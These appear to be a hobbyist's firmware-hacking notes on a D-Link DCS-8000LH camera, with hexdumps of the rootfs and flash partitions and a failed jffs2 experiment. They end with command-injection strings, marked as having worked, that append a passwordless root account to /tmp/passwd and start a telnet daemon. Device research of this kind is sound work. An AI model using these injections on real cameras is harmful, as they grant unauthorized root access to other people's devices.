000fffa0  4c 39 24 a4 f9 0c 5f 48  21 9d de 71 8d 30 cd 6e  |L9$..._H!..q.0.n|
000fffb0  50 75 8f 28 14 1f 00 e3  5a d4 24 e5 50 4d 21 c1  |Pu.(....Z.$.PM!.|
000fffc0  f1 fd b9 ed e8 c4 42 5e  b4 6a 2f 96 12 86 21 78  |......B^.j/...!x|
000fffd0  b7 12 11 1c 51 cb a9 21  33 0b 7c 96 4e 0b 6e c4  |....Q..!3.|.N.n.|
000fffe0  61 cc d2 0a 61 30 67 2c  d3 d4 0f ee 7b 3a 8e 80  |a...a0g,....{:..|
000ffff0  dd af 1b d1 1d 29 db 84  82 45 f5 32 8d 44 6a 4c  |.....)...E.2.DjL|
00100000

```


Note that there are lots of compressed 00 byte lines between 00052b40
and 00053000 above.  And 0x53000 is 339968.



While the rootfs seems to be just big enough, and there has no extra data:

```
bjorn@miraculix:/tmp/update2$ hexdump -C _update.extracted/1E8EC3.squashfs|tail -20
007e1e80  bd 80 eb 69 d2 14 8c 15  2b b7 02 f7 9e dc f4 f6  |...i....+.......|
007e1e90  5d fb b1 a5 64 4b 98 0a  40 68 c8 70 13 c7 52 55  |]...dK..@h.p..RU|
007e1ea0  59 42 7e 72 f8 ab d8 c1  4e 7c 8b ea d5 65 aa 47  |YB~r....N|...e.G|
007e1eb0  59 a4 b9 40 43 c1 6a f7  58 b3 cd bb 4e c1 68 26  |Y..@C.j.X...N.h&|
007e1ec0  37 22 35 a0 05 19 42 3c  48 c0 08 95 89 19 51 9d  |7"5...B<H.....Q.|
007e1ed0  e6 d8 87 4c c5 39 ef e7  6e ad fb 24 ca b1 1b 5f  |...L.9..n..$..._|
007e1ee0  b3 c9 e4 c3 c3 d3 b0 a3  43 48 e6 26 e1 80 ad f9  |........CH.&....|
007e1ef0  95 38 36 dd 1a b4 ab 59  03 ee e3 1e 9b f5 64 43  |.86....Y......dC|
007e1f00  ce 44 1c 20 6e e7 77 23  ed 20 9c 90 4b 00 d5 01  |.D. n.w#. ..K...|
007e1f10  1e 1c dd c4 7b 96 f2 1d  47 ae 2e e0 5c 51 6c 54  |....{...G...\QlT|
007e1f20  9b e7 92 66 5e 33 98 00  e0 79 b9 3c f8 01 38 d5  |...f^3...y.<..8.|
007e1f30  82 1b 11 48 66 be 0a 7c  b7 19 c3 7c 0d be 91 27  |...Hf..|...|...'|
007e1f40  95 32 0b 13 78 6a 49 dd  f6 f4 a1 3f e3 00 a1 63  |.2..xjI....?...c|
007e1f50  86 16 00 01 84 02 88 06  00 00 15 33 d4 10 3e 30  |...........3..>0|
007e1f60  0d 8b 02 00 00 00 00 01  59 5a 08 0d 7e 00 00 00  |........YZ..~...|
007e1f70  00 00 d2 15 7e 00 00 00  00 00 40 1e 7e 00 00 00  |....~.....@.~...|
007e1f80  00 00 08 80 75 00 00 00  7d 00 00 00 82 1f 7e 00  |....u...}.....~.|
007e1f90  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
007e2000


bjorn@miraculix:/tmp/update2$ hexdump -C ~/docs/hardware/dlink/dcs8000lh/fw-2.02.02/mtd/mtd8 |tail -22
007e1e80  bd 80 eb 69 d2 14 8c 15  2b b7 02 f7 9e dc f4 f6  |...i....+.......|
007e1e90  5d fb b1 a5 64 4b 98 0a  40 68 c8 70 13 c7 52 55  |]...dK..@h.p..RU|
007e1ea0  59 42 7e 72 f8 ab d8 c1  4e 7c 8b ea d5 65 aa 47  |YB~r....N|...e.G|
007e1eb0  59 a4 b9 40 43 c1 6a f7  58 b3 cd bb 4e c1 68 26  |Y..@C.j.X...N.h&|
007e1ec0  37 22 35 a0 05 19 42 3c  48 c0 08 95 89 19 51 9d  |7"5...B<H.....Q.|
007e1ed0  e6 d8 87 4c c5 39 ef e7  6e ad fb 24 ca b1 1b 5f  |...L.9..n..$..._|
007e1ee0  b3 c9 e4 c3 c3 d3 b0 a3  43 48 e6 26 e1 80 ad f9  |........CH.&....|
007e1ef0  95 38 36 dd 1a b4 ab 59  03 ee e3 1e 9b f5 64 43  |.86....Y......dC|
007e1f00  ce 44 1c 20 6e e7 77 23  ed 20 9c 90 4b 00 d5 01  |.D. n.w#. ..K...|
007e1f10  1e 1c dd c4 7b 96 f2 1d  47 ae 2e e0 5c 51 6c 54  |....{...G...\QlT|
007e1f20  9b e7 92 66 5e 33 98 00  e0 79 b9 3c f8 01 38 d5  |...f^3...y.<..8.|
007e1f30  82 1b 11 48 66 be 0a 7c  b7 19 c3 7c 0d be 91 27  |...Hf..|...|...'|
007e1f40  95 32 0b 13 78 6a 49 dd  f6 f4 a1 3f e3 00 a1 63  |.2..xjI....?...c|
007e1f50  86 16 00 01 84 02 88 06  00 00 15 33 d4 10 3e 30  |...........3..>0|
007e1f60  0d 8b 02 00 00 00 00 01  59 5a 08 0d 7e 00 00 00  |........YZ..~...|
007e1f70  00 00 d2 15 7e 00 00 00  00 00 40 1e 7e 00 00 00  |....~.....@.~...|
007e1f80  00 00 08 80 75 00 00 00  7d 00 00 00 82 1f 7e 00  |....u...}.....~.|
007e1f90  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
007e2000  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
*
00b00000
```

Experiment:

```
# flash_erase -j /dev/mtd4 0 2
Erasing 64 Kibyte @ 0 --  0 % complete flash_erase:  Cleanmarker written at 0
Erasing 64 Kibyte @ 10000 -- 50 % complete flash_erase:  Cleanmarker written at 10000
Erasing 64 Kibyte @ 10000 -- 100 % complete 

# mount -t jffs2 /dev/mtdblock4 /mnt
mount: mounting /dev/mtdblock4 on /mnt failed: Invalid argument
# dmesg|tail
rtk_btcoex: update_profile_connection: btrtl_coex.profile_refcount[6] = 0
rtk_btcoex: update_profile_connection: btrtl_coex.profile_refcount[7] = 0
rtk_btcoex: rtk_notify_profileinfo_to_fw: BufferSize 2
rtk_btcoex: rtk_notify_profileinfo_to_fw: NumberOfHandles 0
rtk_btcoex: rtk_notify_profileinfo_to_fw: profile_status 0x00
rtk_btcoex: rtk_vendor_cmd_to_fw: opcode 0xfc19
rtk_btusb: hci0 evt 2
rtk_btusb: btusb_notify : hci0 evt 2
jffs2: Too few erase blocks (2)
jffs2: Too few erase blocks (2)

```




THIS WORKED:

bjorn@miraculix:/tmp/update2$ perl -e 'print unpack("(H2 )*", shift),"\n"' 'P=123947;N=123947&&(echo "gg::0:0::/:/bin/sh">>/tmp/passwd)&'
503d3132333934373b4e3d3132333934372626286563686f202267673a3a303a303a3a2f3a2f62696e2f7368223e3e2f746d702f7061737377642926


bjorn@miraculix:/tmp/update2$ perl -e 'print unpack("(H2 )*", shift),"\n"' 'P=123947;N=123947&&(telnetd -p 1099)&'
503d3132333934373b4e3d31323339343726262874656c6e657464202d7020313039392926